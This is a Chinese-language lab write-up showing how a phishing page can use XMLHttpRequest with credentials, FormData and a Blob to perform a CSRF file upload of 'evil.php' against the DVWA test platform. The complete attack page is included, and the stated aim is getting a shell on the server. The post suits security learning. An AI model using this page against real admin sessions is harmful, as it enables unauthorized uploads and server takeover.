经常看到一些XSS+CSRF上传的漏洞,这次就学习了一下HTML5的一些新特性,用JavaScript实现了文件上传。攻击者可以向管理员发送一个钓鱼页面,管理员只要打开了这个页面,并且当前浏览器保存了后台的会话信息,那么就有可能实现getshell。

一、测试环境

1.1 软件环境

Chrome浏览器
DVWA-1.9漏洞测试平台
wamp3.0集成环境
1.2 host文件与虚拟目录配置

修改host文件,添加dvwa.me与hey.me指向本机
设置dvwa.me虚拟主机指向WEB_ROOT/dvwa
设置hey.me虚拟主机指向WEB_ROOT
二、利用详解

2.1 html源码

<html>
<head>
    <title>DVWA漏洞测试</title>
</head>
<body>
    <form id="myForm" method="POST" name="myForm" action="ajax.php">
    <button id="submit_btn" type="button">Upload</button>
    </form>
    <script type="text/javascript">
        function btnClick(){
            document.getElementById("submit_btn").onclick=function(){
                var xmlhttp = new XMLHttpRequest();
                xmlhttp.withCredentials = true;
                var url = "http://dvwa.me/vulnerabilities/upload/index.php";
                var formdata = new FormData();
                var filedata = new Blob(['This is evil txt'], {type: 'image/jpeg'});
                formdata.append("Upload","Upload");
                formdata.append("uploaded",filedata,"evil.php");
                xmlhttp.onreadystatechange=function(){
                    if (xmlhttp.readyState==4 && xmlhttp.status==200){
                        console.log(xmlhttp.responseText);
                    }
                }
                xmlhttp.open("POST",url,true);
                xmlhttp.send(formdata);
            }
        }
        btnClick();
    </script>
</body>
 
</html>

这里主要利用了XMLHttpRequest level 2的新特性、HTML5的Blob接口和FormData实现了文件上传。如果管理员处理登录状态,当它点击钓鱼页面的按钮之后,就会上传成功文件。
三、参考

3.1、XMLHttpRequest Level 2 使用指南
3.2、Blob – Web API 接口 | MDN
3.3、Using FormData Objects – Web API 接口 | MDN
3.4、XMLHttpRequest.withCredentials – Web APIs | MDN